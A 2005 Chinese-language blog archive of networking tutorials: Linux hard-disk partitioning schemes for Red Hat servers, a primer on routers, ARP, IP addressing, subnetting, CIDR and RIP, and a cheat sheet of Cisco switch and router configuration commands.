2005年08月08日

在对硬盘进行分区前,应该先弄清楚计算机担负的工作及硬盘的容量有多大,还要考虑到以下几个问题。

  第一点也是最重要的一点,要知道当前安装LILO的版本,因为LILO2.21及早期版本对硬盘大小有限制,如果安装LILO到1023磁道以外即8G的空间以外,LILO就无法启动。 但一些BIOS较老的机器,LINUX仍然无法突破1024磁道的限制,因此这些BIOS无法认出大于1024的硬盘空间。

  还需要考虑的问题有:

  · 是否限制用户可使用的磁盘空间大小?

  · 在系统中需要安装哪些软件?

  · 交换分区需要多大?

  · 系统是否有多个硬盘?

  下面,我们按系统工作性质的不同对分区的划分提出了一些建议。当然,根据实际情况,在满足系统工作需求的前提下,下面的分区大小也可以灵活的变动。

基本工作站的分区方案
  假设系统的硬盘大小是10G。

  /boot 20M

  Swap 128M

  /root 9.85G

  建立一个20M的/boot分区是为了避免将系统内核文件放到1024磁道以外,如果将/boot做为root分区的一个子目录,内核文件就会安装在root分区的任何地方,因为硬盘的大小超过了8G,所以在启动时就有可能出现问题。建议将交换分区的大小设置为内存的两倍,在这里我们假设系统的内存为64M。最后我们将硬盘的剩余空间全部分给了root分区。

Red Hat Linux 6.2 及其早期版本上的基本服务器硬盘分区方案
  这里的服务器我们假设只提供几种通用的服务,如WWW服务及FTP服务等几种服务,通过telnet登录的用户数很少。假设其硬盘大小为25G。

  /boot 20M

  Swap 128M

  / 10G

  /home 13G

  /var 2G

  在硬盘的最前面创建20M大小的/boot分区,原因同上。交换分区的大小也是128M,因为内存的大小为64M。

  / ,即root分区设为10G这么大是因为其中有一个/usr目录,这个目录可能会占用很多硬盘空间,特别是在安装了X Server,运行图形界面的应用程序的时候。

  /home分区是硬盘中最大的分区,这似乎与我们假设系统用户数不多有些矛盾。实际上在/home目录下确实没有几个用户目录,但在Red Hat6.2及更早的版本中,Apache服务器和wu-ftpd FTP服务器被放在了/home/httpd及/home/ftp目录中。所以这个分区这么大也是有原因的。

  最后,/var目录独自占用了一个分区,因为系统的所有日志都写到了/var/log目录下,这将会占用很大的硬盘空间。如果系统日志记录得非常详细,整个目录很快会被写满,导致系统工作呆滞。当然,可以通过系统日志后台守护程序syslogd来修改日志配置,避免发生这种情况。

Red Hat 7及以上版本的基本服务器分区方案
  这种情况同前一个方案的情况相同,不同的是LINUX版本为Red Hat 7.0及其以上版本。

  /boot 20M

  Swap 128M

  / 10G

  /var 15G

  与RedHat6不同,在RedHat7中HTTP服务和FTP服务的目录现在位于 /var/www/ 和/var/ftp/,因此/var分区有15G之大也就不难理解了。

多用户服务器分区方案
  在这种服务器系统中,同时有多个用户通过telnet, ssh, rlogin或其方式在远程访问系统。系统中有三个35G的硬盘驱动器,总共有105G的磁盘空间 。系统中用到了RAID 5技术做数据冗余。这种情况下,管理员必须为每个用户分配磁盘空间。对RedHat 6.2及更早的版本,分区如下:

  Disk 1:

  /boot 20M

  / 4G

  /var 3GB

  /home 27.98G

  Disk 2:

  swap 20MB

  / 4GB

  /var 3GB

  /home 27.98GB

  Disk 3:

  swap 20MB

  / 4GB

  /var 3GB

  /home 27.98GB

  这样分区的原因:首先,Disk1上的20M /boot分区不属于任何RAID阵列,否则如果你将/boot放至RAID阵列中,以后就不能系统内核升级了。

  为了方便管理,在其它两个硬盘中建立了20M的交换分区。这种服务器一般配有1G以上的内存,因此交换分区的大小不成问题。如果增大交换分区,就会减少RAID分区空间,所以20M是足够的。RAID分区的分组如下:

  · 1-A, 2-A, and 3-A 一起组成一个8G的 RAID 5 驱动器,做为/根目录打开。

  · 1-B, 2-B, and 3-B 组成 6GB的 RAID 5 驱动器,做为 /var目录。

  · 1-C, 2-C, and 3-C 组成 55.96GB RAID 5 驱动器, 做为 /home.目录。

  这种分配方案总共有55.96G的空间分配给所有用户及Apache和FTP服务,在/var下用6G空间用做记录日志、邮件,这么大的空间是足够的。

  如果安装Red Hat7或以上版本,应给/var分区更大的空间,因为它同时还存放着WEB和FTP服务的两个目录。

路由器 <一>

  最简单的网络可以想象成单线的总线,各个计算机可以通过向总线发送分组以互相通信。但随着网络中的计算机数目增长,这就很不可行了,会产 生许多问题:

    1、带宽资源耗尽。
    2、每台计算机都浪费许多时间处理无关的广播数据。 

    3、网络变得无法管理,任何错误都可能导致整个网络瘫痪。
    4、每台计算机都可以监听到其他计算机的通信。

  把网络分段可以解决这些问题,但同时你必须提供一种机制使不同网段的计算机可以互相通信,这通常涉及到在一些ISO网络协议层选择性地在网段间传送数据,我们来看一下网络协议层和路由器的位置。

  我们可以看到,路由器位于网络层。本文假定网络层协议为IPv4,因为这是最流行的协议,其中涉及的概念与其他网络层协议是类似的。

    一、路由与桥接

  路由相对于2层的桥接/交换是高层的概念,不涉及网络的物理细节。在可路由的网络中,每台主机都有同样的网络层地址格式(如IP地址),而无论它是运行在以太网、令牌环、FDDI还是广域网。网络层地址通常由两部分构成:网络地址和主机地址。

  网桥只能连接数据链路层相同(或类似)的网络,路由器则不同,它可以连接任意两种网络,只要主机使用的是相同的网络层协议。

  路由器 <二>

    二、连接网络层与数据链路层


  网络层下面是数据链路层,为了它们可以互通,需要“粘合”协议。ARP(地址解析协议)用于把网络层(3层)地址映射到数据链路层(2层)地址,RARP(反向地址解析协议)则反之。

  虽然ARP的定义与网络层协议无关,但它通常用于解析IP地址;最常见的数据链路层是以太网。因此下面的ARP和RARP的例子基于IP和以太网,但要注意这些概念对其他协议也是一样的。

    1、地址解析协议

  网络层地址是由网络管理员定义的抽象映射,它不去关心下层是哪种数据链路层协议。然而,网络接口只能根据2层地址来互相通信,2层地址通过ARP从3层地址得到。

  并不是发送每个数据包都需要进行ARP请求,回应被缓存在本地的ARP表中,这样就减少了网络中的ARP包。ARP的维护比较容易,是一个比较简单的协议。

    2、简介

  如果接口A想给接口B发送数据,并且A只知道B的IP地址,它必须首先查找B的物理地址,它发送一个含有B的IP地址的ARP广播请求B的物理地址,接口B收到该广播后,向A回应其物理地址。

  注意,虽然所有接口都收到了信息,但只有B回应该请求,这保证了回应的正确且避免了过期的信息。要注意的是,当A和B不在同一网段时,A只向下一跳的路由器发送ARP请求,而不是直接向B发送。 接收到ARP分组后处理,注意发送者的对被存到接收ARP请求的主机的本地ARP表中,一般A想与B通信时,B可能也需要与A通信。 

    3、IP地址冲突

  ARP产生的问题中最常见的是IP地址的冲突,这是由于两个不同的主机IP地址相同产生的,在任何互联的网络中,IP地址必须是唯一的。这时会收到两个ARP回应,分别指出了不同的硬件地址,这是严重的错误,没有简单的解决办法。

  为了避免出现这类错误,当接口A初试化时,它发送一个含有其IP地址的ARP请求,如果没有收到回应,A就假定该IP地址没有被使用。我们假定接口B已经使用了该IP地址,那么B就发送一个ARP回应,A就可以知道该IP地址已被使用,它就不能再使用该IP地址,而是返回错误信息。这样又产生一个问题,假设主机C含有该IP地址的映射,是映射到B的硬件地址的,它收到接口A的ARP广播后,更新其ARP表使之指向A的硬件地址。为了解决这个错误,B再次发送一个ARP请求广播,这样主机C又更新其ARP表再次指向B的硬件地址。这时网络的状态又回到先前的状态,有可能C已经向A发送了应该发送给B的IP分组,这很不幸,但是因为IP提供的是无保证的传输,所以不会产生大的问题。

    4、管理ARP缓存表

  ARP缓存表是对的列表,根据IP地址索引。该表可以用命令arp来管理,其语法包括:

    向表中添加静态表项 — arp -s

    从表中删除表项 — arp -d

    显示表项 — arp -a

  ARP表中的动态表项(没有手动加入的表项)通常过一段时间自动删除,这段时间的长度由特定的TCP/IP实现决定。

5、静态ARP地址的使用

  静态ARP地址的典型使用是设置独立的打印服务器,这些设备通常通过telnet来配置,但首先它们需要一个IP地址。没有明显的方法来把此信息告诉该设备,好象只能使用其串口来设置。但是,这需要找一个合适的终端和串行电缆,设置波特率、奇偶校验等,很不方便。

  假设我们想给一个打印服务器设置IP地址P-IP,并且我们知道其硬件地址P-hard,在工作站A上创建一个静态ARP表项把P-IP映射到P-hard,这样,虽然打印服务器不知道自己的IP地址,但是所有指向P-IP的数据就将被送到P-hard。我们现在就可以telnet到P-IP并配置其IP地址了,然后再删除该静态ARP表项。

  有时会在一个子网里配置打印服务器,而在另一个子网里使用它,方法与上面类似。假设其IP地址为P-IP,我们分配一个本网的临时IP地址T-IP给它,在工作站A上创建临时ARP表项把T-IP映射到P-hard,然后telnet到T-IP,给打印服务器配以IP地址P-IP。接下来就可以把它放到另一个子网里使用了,别忘了删除静态ARP表项。

    6、代理ARP

  可以通过使用代理ARP来避免在每台主机上配置路由表,在使用子网时这特别有用,但注意,不是所有的主机都能理解子网的。基本的思想是即使对于不在本子网的主机也发送ARP请求,ARP代理服务器(通常是网关)回应以网关的硬件地址。

  代理ARP简化了主机的管理,但是增加了网络的通信量(不是很明显),并且可能需要较大的ARP缓存,每个不在本网的IP地址都被创建一个表项,都映射到网关的硬件地址。在使用代理ARP的主机看来,世界就象一个大的没有路由器物理网络。

路由器 <三>

    三、IP地址

  在可路由的网络层协议中,协议地址必须含有两部分信息:网络地址和主机地址。存贮这种信息最明显的方法是用两个分离的域,这样我们必须考虑到两个域的最大长度,有些协议(如IPX)就是这样的,它在小型和中型的网络里可以工作的很好。

  另一种方案是减少主机地址域的长度,如24位网络地址、8位主机地址,这样就有了较多的网段,但每个网段内的主机数目很少。这样一来,对于多于256个主机的网络,就必须分配多个网段,其问题是很多的网络给路由器造成了难以忍受的负担。

  IP把网络地址和主机地址一起包装在一个32位的域里,有时主机地址部分很短,有时很长,这样可以有效利用地址空间,减少IP地址的长度,并且网络数目不算多。有两种将主机地址分离出来的方法:基于类的地址和无类别的地址。

    1、主机和网关

  主机和网关的区别常产生混淆,这是由于主机意义的转变。在RFC中(1122/3和1009)中定义为:

    主机是连接到一个或多个网络的设备,它可以向任何一个网络发送和从其接收数据,但它从不把数据从一个网络传向另一个。

    网关是连接到多于一个网络的设备,它选择性的把数据从一个网络转发到其它网络。

  换句话说,过去主机和网关的概念被人工地区分开来,那时计算机没有足够的能力同时用作主机和网关。主机是用户工作的计算机,或是文件服务器等。现代的计算机的能力足以同时担当这两种角色,因此,现代的主机定义应该如此:

    主机是连接到一个或多个网络的设备,它可以向任何一个网络发送和从其接收数据。它也可以作为网关,但这不是其唯一的目的。

  路由器是专用的网关,其硬件经过特殊的设计使其能以极小的延迟转发大量的数据。然而,网关也可以是有多个网卡的标准的计算机,其操作系统的网络层有能力转发数据。由于专用的路由硬件较便宜,计算机用作网关已经很少见了,在只有一个拨号连接的小站点里,还可能使用计算机作为非专用的网关。

    2、基于类的地址

  最初设计IP时,地址根据第一个字节被分成几类:

    0: 保留
    1-126: A类(网络地址:1字节,主机地址:3字节)
    127: 保留
    128-191: B类(网络地址:2字节,主机地址:2字节)
    192-223: C类(网络地址:3字节,主机地址:1字节)
    224-255: 保留

    3、子网划分

  虽然基于类的地址系统对因特网服务提供商来说工作得很好,但它不能在一个网络内部做任何路由,其目的是使用第二层(桥接/交换)来导引网络中的数据。在大型的A类网络中,这就成了个特殊的问题,因为在大型网络中仅使用桥接/交换使其非常难以管理。在逻辑上其解决办法是把大网络分割成若干小的网络,但在基于类的地址系统中这是不可能的。为了解决这个问题,出现了一个新的域:子网掩码。子网掩码指出地址中哪些部分是网络地址,哪些是主机地址。在子网掩码中,二进制1表示网络地址位,二进制0表示主机地址位。传统的各类地址的子网掩码为:

    A类:255.0.0.0

    B类:255.255.0.0

    C类:255.255.255.0

  如果想把一个B类网络的地址用作C类大小的地址,可以使用掩码255.255.255.0。

  用较长的子网掩码把一个网络分成多个网络就叫做划分子网。要注意的是,一些旧软件不支持子网,因为它们不理解子网掩码。例如UNIX的routed路由守护进程通常使用的路由协议是版本1的RIP,它是在子网掩码出现前设计的。
 上面只介绍了三种子网掩码:255.0.0.0、255.255.0.0和255.255.255.0,它们是字节对齐的子网掩码。但是也可以在字节中间对其进行划分,这里不进行详细讲解,请参照相关的TCP/IP书籍。

  子网使我们可以拥有新的规模的网络,包括很小的用于点到点连接的网络(如掩码255.255.255.252,30位的网络地址,2位的主机地址:两个主机的子网),或中型网络(如掩码255.255.240.0,20位网络地址,12位主机地址:4094个主机的子网)。

  注意DNS被设计为只允许字节对齐的IP网络(在in-addr.arpa.域中)。

    4、超网(supernetting)

  超网是与子网类似的概念–IP地址根据子网掩码被分为独立的网络地址和主机地址。但是,与子网把大网络分成若干小网络相反,它是把一些小网络组合成一个大网络–超网。

  假设现在有16个C类网络,从201.66.32.0到201.66.47.0,它们可以用子网掩码255.255.240.0统一表示为网络201.66.32.0。但是,并不是任意的地址组都可以这样做,例如16个C类网络201.66.71.0到201.66.86.0就不能形成一个统一的网络。不过这其实没关系,只要策略得当,总能找到合适的一组地址的。

    5、可变长子网掩码(VLSM)

  如果你想把你的网络分成多个不同大小的子网,可以使用可变长子网掩码,每个子网可以使用不同长度的子网掩码。例如:如果你按部门划分网络,一些网络的掩码可以为255.255.255.0(多数部门),其它的可为255.255.252.0(较大的部门)。

    6、无类别地址(CIDR)

  因特网上的主机数量增长超出了原先的设想,虽然还远没达到232,但地址已经出现匮乏。1993年发表的RFC1519–无类别域间路由CIDR(Classless Inter-Domain Routing)–是一个尝试解决此问题的方法。CIDR试图延长IPv4的寿命,与128位地址的IPv6不同,它并不能最终解决地址空间的耗尽,但IPv6的实现是个庞大的任务,因特网目前还没有做好准备。CIDR给了我们缓冲的准备时间。

  基于类的地址系统工作的不错,它在有效的地址使用和少量的网络数目间做出了较好的折衷。但是随着因特网意想不到的成长出现了两个主要的问题:

    已分配的网络数目的增长使路由表大得难以管理,相当程度上降低了路由器的处理速度。

    僵化的地址分配方案使很多地址被浪费,尤其是B类地址十分匮乏。

  为了解决第二个问题,可以分配多个较小的网络,例如,用多个C类网络而不是一个B类网络。虽然这样能够很有效地分配地址,但是更加剧了路由表的膨胀(第一个问题)。

  在CIDR中,地址根据网络拓扑来分配。连续的一组网络地址可以被分配给一个服务提供商,使整组地址作为一个网络地址(很可能使用超网技术)。例如:一个服务提供商被分配以256个C类地址,从213.79.0.0到213.79.255.0,服务提供商给每个用户分配一个C类地址,但服务提供商外部的路由表只通过一个表项–掩码为255.255.0.0的网络213.79.0.0–来分辨这些路由。

  这种方法明显减少了路由表的增长,CIDR RFC的作者估计,如果90%的服务提供商使用了CIDR,路由表将以每3年54%的速度增长,而如果没有使用CIDR,则增长速度为776%。如果可以重新组织现有的地址,则因特网骨干上的路由器广播的路由数量将大大减少。但这实际是不可行的,因为将带来巨大的管理负担。

路由器 <四>  

    四、路由

    1、路由表

  如果一个主机有多个网络接口,当向一个特定的IP地址发送分组时,它怎样决定使用哪个接口呢?答案就在路由表中。来看下面的例子:

目的 子网掩码 网关 标志 接口
201.66.37.0 255.255.255.0 201.66.37.74 U eth0
201.66.39.0 255.255.255.0 201.66.39.21 U eth1

  主机将所有目的地为网络201.66.37.0内主机(201.66.37.1-201.66.37.254)的数据通过接口eth0(IP地址为201.66.37.74)发送,所有目的地为网络201.66.39.0内主机的数据通过接口eth1(IP地址为201.66.39.21)发送。标志U表示该路由状态为“up”(即激活状态)。对于直接连接的网络,一些软件并不象上例中一样给出接口的IP地址,而只列出接口。
 此例只涉及了直接连接的主机,那么目的主机在远程网络中如何呢?如果你通过IP地址为201.66.37.254的网关连接到网络73.0.0.0,那么你可以在路由表中增加这样一项:  

  目的
  掩码
  网关
  标志
  接口

  73.0.0.0
  255.0.0.0
  201.66.37.254
  UG
  eth0

  此项告诉主机所有目的地为网络73.0.0.0内主机的分组通过201.66.37.254路由过去。标志G(gateway)表示此项把分组导向外部网关。类似的,也可以定义通过网关到达特定主机的路由,增加标志H(host): 

  目的 掩码 网关 标志 接口
  91.32.74.21 255.255.255.255 201.66.37.254 UGH eth0

  下面是路由表的基础,除了特殊表项之外:

  目的 掩码 网关 标志 接口
  127.0.0.1 255.255.255.255 127.0.0.1 UH lo0
  default 0.0.0.0 201.66.37.254 UG eth1

 第一项是loopback接口,用于主机给自己发送数据,通常用于测试和运行于IP之上但需要本地通信的应用。这是到特定地址127.0.0.1的主机路由(接口lo0是IP协议栈内部的“假”网卡)。第二项十分有意思,为了防止在主机上定义到因特网上每一个可能到达网络的路由,可以定义一个缺省路由,如果在路由表中没有与目的地址相匹配的项,该分组就被送到缺省网关。多数主机简单地通过一个网卡连接到网络,因此只有通过一个路由器到其它网络,这样在路由表中只有三项:loopback项、本地子网项和缺省项(指向路由器)。

    2、重叠路由


  假设在路由表中有下列重叠项: 

  目的 掩码 网关 标志 接口
  1.2.3.4 255.255.255.255 201.66.37.253 UGH eth0
  1.2.3.0 255.255.255.0 201.66.37.254 UG eth0
  1.2.0.0 255.255.0.0 201.66.37.253 UG eth1
  default 0.0.0.0 201.66.39.254 UG eth1

   之所以说这些路由重叠是因为这四个路由都含有地址1.2.3.4,如果向1.2.3.4发送数据,会选择哪条路由呢?在这种情况下,会选择第一条路由,通过网关201.66.37.253。原则是选择具有最长(最精确)的子网掩码。类似的,发往1.2.3.5的数据选择第二条路由。

  注意:这条原则只适用于间接路由(通过网关)。把两个接口定义在同一子网在很多软件实现上是非法的。例如下面的设置通常是非法的(不过有些软件将尝试在两个接口进行负载平衡):

  接口 IP地址 子网掩码
  eth0 201.66.37.1 255.255.255.0
  eth1 201.66.37.2 255.255.255.0

  对于重叠路由的策略是十分有用的,它允许缺省路由作为目的为0.0.0.0、子网掩码为0.0.0.0的路由进行工作,而不需要作为路由软件的一个特殊情况来实现。

  回头来看看CIDR,仍使用上面的例子:一个服务提供商被赋予256个C类网络,从213.79.0.0到213.79.255.0。该服务提供商外部的路由表只以一个表项就了解了所有这些路由:213.79.0.0,子网掩码为255.255.0.0。假设一个用户移到了另一个服务提供商,他拥有网络地址213.79.61.0,现在他是否必须从新的服务提供商处取得新的网络地址呢?如果是,意味着他必须重新配置每台主机的IP地址,改变DNS设置,等等。幸运的是,解决办法很简单,原来的服务提供商保持路由213.79.0.0(子网掩码为255.255.0.0),新的服务提供商则广播路由213.79.61.0(子网掩码为255.255.255.0),因为新路由的子网掩码较长,它将覆盖原来的路由。

  3、静态路由

  回头看看我们已建立的路由表,已有了六个表项:

  目的 掩码 网关 标志 接口
  127.0.0.1 255.255.255.255 127.0.0.1 UH lo0
  201.66.37.0 255.255.255.0 201.66.37.74 U eth0
  201.66.39.0 255.255.255.0 201.66.39.21 U eth1
  default 0.0.0.0 201.66.39.254 UG eth1
  73.0.0.0 255.0.0.0 201.66.37.254 UG eth0
  91.32.74.21 255.255.255.255 201.66.37.254 UGH eth0

  这些表项分别是怎么得到的呢?第一个是当路由表初始化时由路由软件加入的,第二、三个是当网卡绑定IP地址时自动创建的,其余三个必须手动加入,在UNIX系统中,这是通过命令route来做的,可以由用户手工执行,也可以通过rc脚本在启动时执行。上述方法涉及的是静态路由,通常在启动时创建,并且没有手工干预的话将不再改变。

 路由器 <五>

  四、路由

  4、路由协议

  主机和网关都可以使用称作动态路由的技术,这使路由表可以动态改变。动态路由需要路由协议来增加和删除路由表项,路由表还是和静态路由一样地工作,只是其增添和删除是自动的。

  有两种路由协议:内部的和外部的。内部协议在自制系统(AS)内部路由,而外部协议则在自制系统间路由。自制系统通常在统一的控制管理之下,例如大的公司或大学。小的站点常常是其因特网服务提供商自制系统的一部分。

  这里只讨论内部协议,很少有人涉及到甚至听说外部协议。最常见的外部协议是外部网关协议EGP(External Gateway Protocol)和边缘网关协议BGP(Border Gateway Protocol),BGP是较新的协议,在逐渐地取代EGP。

  5、ICMP重定向

  ICMP通常不被看作路由协议,但是ICMP重定向却与路由协议的工作方式很类似,所以将在这里讨论一下。假设现在有上面所给的六个表项的路由表,分组被送往201.66.43.33,看看路由表,除了缺省路由外,这并不能匹配任何路由。静态路由将其通过路由器201.66.39.254发送(trip 1),但是,该路由器知道所有发向子网201.66.43.0的分组应该通过201.66.39.253,因此,它把分组转发到适当的路由器(trip 2)。但是如果主机直接把分组发到201.66.39.253就会提高效率(trip 3)。

    因为路由器把分组从同一接口发回了分组,所以它知道有更好的路由,路由器可以通过ICMP重定向指示主机使用新的路由。虽然路由器知道所有发向201.66.43.0子网的分组应该通过201.66.39.253,它通常只发送特定的主机的ICMP重定向(此例中是201.66.43.33)。主机将在路由表中创建一个新的表项: 
目的 掩码 网关 标志 接口
  201.66.43.33 255.255.255.255 201.66.39.253 UGHD eth1

  注意标志D,对所有由ICMP重定向创建的路由设置此标志。将来此类分组将通过新路由发送(trip 3)。

  6、RIP

  RIP是一种简单的内部路由协议,已经存在很久,被广泛地实现(UNIX的routed就使用RIP)。它使用距离向量算法,所以其路由选择只是基于两点间的“跳(hop)”数,穿过一个路由器认为是一跳。主机和网关都可以运行RIP,但是主机只是接收信息,而并不发送。路由信息可以从指定网关请求,但通常是每隔30秒广播一次以保持正确性。RIP使用UDP通过端口520在主机和网关间通信。网关间传送的信息用于建立路由表,由RIP选定的路由总是具有距离目的跳数最少的。RIP版本1在简单、较小的网络中工作得不错,但是在较大的网络中,就出现一些问题,有些问题在RIP版本2中已纠正,但有些是由于其设计产生的限制。在下面的讨论中,适用于两种版本时简单称为RIP,RIP v1和RIP v2则指特定的版本。

  RIP并没有任何链接质量的概念,所有的链路都被认为是相同的,低速的串行链路被认为与高速的光纤链路是同样的。RIP以最小的跳数来选择路由,因此当在下面两个路由中选择时:

    100Mbps的光纤链路,路由器,然后是10Mbps的以太网

    9600bps的串行链路

  RIP将选择后者。RIP也没有链路流量等级的概念。例如对于两条以太网链路,其中一个很繁忙,另一个根本没有数据流,RIP可能会选择繁忙的那条链路。

  RIP中的最大hop数是15,大于15则认为不可到达。因此在很大的自制系统中,hop数很可能超过15,使用RIP是很不现实的。RIP v1不支持子网,交换的信息中不含子网掩码,对给定路由确定子网掩码的方法各不相同,RIP v2则弥补了此缺点。RIP每隔30秒才进行信息更新,因此在大网中断链信息可能要花些时间才能传播开来,路由信息的稳定时间可能更长,并且在这段时间内可能产生路由环路。对此有一些解决办法,但这里不进行讨论。

  可以看出,RIP是一个简单的路由协议,有一些限制,尤其在版本1中。不过,它常常是某些操作系统的唯一选择。

2005年08月07日

停止更新

交换机:

switch#show mac-address-table   //显示交换机中的mac地址表

switch(config)#mac-address-table permanent hhhh.hhhh.hhhh ethernet0/1  //添加永久地址表

switch(config)#mac-address-table restricted static hhhh.hhhh.hhhh e0/1 e0/2  //添加受限地址表——只允许来自e0/2的接口,且目的地址是hhhh.hhhh.hhhh的数据帧,才能发送到e0/1.非e0/2的其他接口来的任何数据帧,不被允许发送到e0/1.

swith(config-if)#port secure max-mac-count 1 //设置接口的最大学习的mac地址数,设置范围1-132,一旦学习到一个mac地址,由动态转化为静态地址表,此时一旦有第二台试图从此接口发送数据,将根据管理员设定自动关闭端口或者其他。此命令只在19系列有效。在29,35系列上,用命令:port security max-mac-count 1-132

switch#show mac-address-table security //显示有每个端口的port secure设置情况,不过,我的测试中,只有1900系列交换机是这个命令,而29,35系列的交换机只有show port securityshow mac-address-table secure命令

switch(config)#address-violation {suspend|disable|ignore} //设置违反port secure设置后,系统如何处理。这个命令在29,35系列交换机上都没有。在29,35系列上,用命令:port security action {shutdown|trap}

swith#copy nvram tftp://host/dst_file  //区别和路由器的备份格式copy nvram tftp

switch#delete nvram //区别路由器清除命令erase nvram

VLAN配置

SWITCH1900(config)#vtp transparent

SWITCH1900(config)#vtp domain switchlab

SWITCH2950#vlan database

SWITCH2950(vlan)#vtp { server | client | transparent }

SWITCH2950(vlan)#vtp domain domain-name

SWITCH2950(vlan)#vtp password password

SWITCH2950(vlan)#vtp pruning

SWITCH2950(vlan)#snmp-server enable traps vtp

SWITCH2950(vlan)#exit

SWITCH2950(config-if)#switchport mode trunk //在29上启用接口的trunk功能

SWITCH1900(config-if)#trunk on //在19上启用trunk

switch(config)#vlan vlan-number (name vlan-name ) //vlan号一旦创建,不可变更,但是vlan名可以修改

SWITCH1900(config-if)#vlan-membership {static vlan-number | dynamic } //19系列端口接入vlan

SWITCH2950(config-if)#switchport access vlan vlan-number //29系列端口接入vlan

SWITCH1900#show vtp

SWITCH2950#show vtp status

SWITCH1900#show trunk { A  | B } //19系列上显示trunk信息

SWITCH2950#show interface fa0/2 switchport //29系列上显示trunk信息

SWITCH2950(config-if)#switchport trunk encapsulation { dot1q | isl }

SWITCH2950(config-if)#switchport trunk pruning

路由器:

创建ACL

router(config)#access-list 1-99 {permit|deny|remark} {hostname|any|host}  反码//IP标准ACL,缺省反码是0.0.0.0

router(config)#access-list 100-199 {permit|deny|dynamic|remark} {各种协议} //IP扩展ACL

应用ACL

router(config-if)#ip access-group 1-199 {in | out} //缺省为输出访问控制列表设置掩码显示格式

router#terminal ip netmask-format {bit-count | decimal | hexadecimal}

DNS设置

router(config)#ip host d61 10.100.21.61  //本地数据库建立d61和10.100.21.61的映射

router(config)#ip name-server server-address

router(config)#ip domain lookup //Enable IP Domain Name System hostname translation,DNS is enabled by default.

VLAN间路由设置

router(config-if)#no ip address

router(config-if)#int fa0/0.1

router(config-subif)#ip address ip-address mask

router(config-subif)#encapsulation isl valan-number

router(config-if)#int fa0/0.2

router(config-subif)#ip address ip-address mask

router(config-subif)#encapsulation isl valan-number

RIP配置

router(config)#router rip

router(config-rouer)#network network-number //这里要求为主有类网络号,即没有经过子网划分的网络号,RIPv1仅仅支持主有类网络。

IGRP配置

router(config)#router igrp autonormous-system  //进入配置igrp协议,参数autonomous-system则是规定只有相同的这个值,才能互相发送自己的路由表信息。

router(config-rouer)#variance multiplier //配置IGRP协议中的负载均衡应满足的条件(倍数)

router(config-rouer)#traffic-share { balanced | min } //使用balanced参数才可以利用上一条命令来实现规定范围的负载均衡(按Metrics值的反比来分配流量),而用min参数,则必须使用最小Metrics值的路径来传输。

router(config-rouer)#network network-number   //这里要求为主有类网络号

router#debug ip igrp events

router#debug ip igrp translations //相比上一条命令,更加详细

EIGRP配置

router(config)#router eigrp autonormous-system  //进入配置eigrp协议,参数autonomous-system则是规定只有相同的这个值,才能互相发送路由表信息。

router(config-rouer)#variance multiplier //配置EIGRP协议中的负载均衡应满足的条件(倍数)

router(config-rouer)#traffic-share { balanced | min } //使用balanced参数才可以利用上一条命令来实现规定范围的负载均衡(按Metrics值的反比来分配流量),而用min参数,则必须使用最小Metrics值的路径来传输。

router(config-rouer)#network network-number   //尽管这里仍然要求为主有类网络号,但是由于端口上设置的子网掩码确实发送出去了,当然,在网络边界,无类网络仍然会被汇总,所以Eigrp不作处理的话,还是不支持连续网络。(因为它的路由汇总功能可以手工关闭,这样它就可以支持不连续网络了)

router#show ip eigrp neighbors

router#show ip eigrp topology

router#show ip route eigrp

OSPF配置

router(config)#router ospf process-id  //这里的process-id仅仅是用来在路由器本地标识一个ospf进程,并不要求所有的路由器一致

router(config-rouer)#network address mask area area-id   //这里的address可以为地址,也可以为网络号。mask则必须为反码。area则是指定该路由器在哪一个area。他支持不连续的网络。

router#show ip ospf interface //观察端口处于哪一个area以及端口的近邻(adjacency)信息

router#show ip ospf neighbor //显示邻居信息,neighbor指所有的可通信的设备。

router#debug ip ospf events

router#debug ip ospf packet //比上一条更详细

NAT配置

router(config)#ip nat inside source static 192.168.1.1 202.1.1.1 //inside Local ip——>inside Global ip,静态转换

router(config-if)#ip nat { inside | outside }

router#show ip nat translations

router#clear ip nat translations *  //清除所有的nat转换列表

router(config)#ip nat pool pool-name start-ip end-ip netmask mask //创建一个地址转换池

router(config)#access-list 1 permit ip wildmask //此处相当于inside local ip addr

router(config)#ip nat inside source list 1 pool pool-name (overload) //参数为使用地址复用,即使用端口对应

router(config)#ip nat inside source list 1  interface s0 overload //使用端口地址转换,此处就不再使用地址池

PPP配置

routerA(config)#username routerB password cisco //用户名设置为对方的hostname,密码必须和对方一致

routerA(config-if)#encapsulation ppp //封装PPP协议

routerA#debug ppp negotiation //观看PPP协议的协商过程

routerA(config-if)#ppp authentication chap

帧中继配置

routerA(config-if)#encapsulation frame-relay

routerA(config-if)#frame-relay map ip 10.0.0.1 dlci-number broadcast //点对多点模式下必须指出所有的dlci号的映射关系

routerA(config)#interface serial 0 { point-to-point | multi-point }  //进入物理接口

routerA(config-if)#no ip address ip mask //进入子接口配置前,应先去掉物理接口ip

routerA(config-subif)#bandwidth 512 //进入子接口配置的话,带宽应该在子接口下配置

routerA(config)#interface serial 0.1 { point-to-point | multipoint }  //进入子接口

routerA(config-subif)#frame-relay interface-dlci dlci-number //子接口模式必须手工明确指出dlci号,因为帧中继协议只能告诉物理接口是用那一个dlci号,而不能告诉逻辑接口

routerA(config-if)#frame-relay lmi-type {cisco | ansi | q933a} //缺省为cisco标准

routerA#show frame-relay traffic

routerA#clear frame-relay-inarp //清除反转arp映射表

routerA#show frame-relay lmi

routerA#show frame-relay map //显示反转arp映射表

routerA#show frame-relay pvc //显示虚电路dlci号

ISDN配置

Router(config)#isdn switch-type switch-type //在所有接口上应用

Router(config-if)#isdn switch-type switch-type //在某一个接口上应用

Router(config)#controller { T1 | E1 } slot/port  //对某个接口的控制器设定为T1或E1

T1配置

Router(config-controller)#framing esf  //传帧类型

Router(config-controller)#linecode b8zs //线路编码

Router(config-controller)#pri-group timeslots 1-24 //开通的时序范围

Router(config-controller)#interface Serial3/0:23 //对第23路信令信号设置

Router(config-if)#isdn switch-type primary-5ess

Router#show isdn active

Router#show interface bri0

Router#show isdn status

Router#debug isdn q921

Router#debug isdn 9321

DDR配置

Router(config)#dialer-list 1 protocol ip permit //设定感兴趣流量,这个命令将使任何ip都能连接网络

Router(config)#dialer-list 1 protocol ip list 101 //由访问控制列表来控制感兴趣流量

Router(config)#access-list 101 deny tcp any any eq ftp //设定访问控制列表

Router(config)#access-list 101 permit ip any any //设定访问控制列表

Router(config-if)#dialer-group 1 //应用感兴趣流量设定1

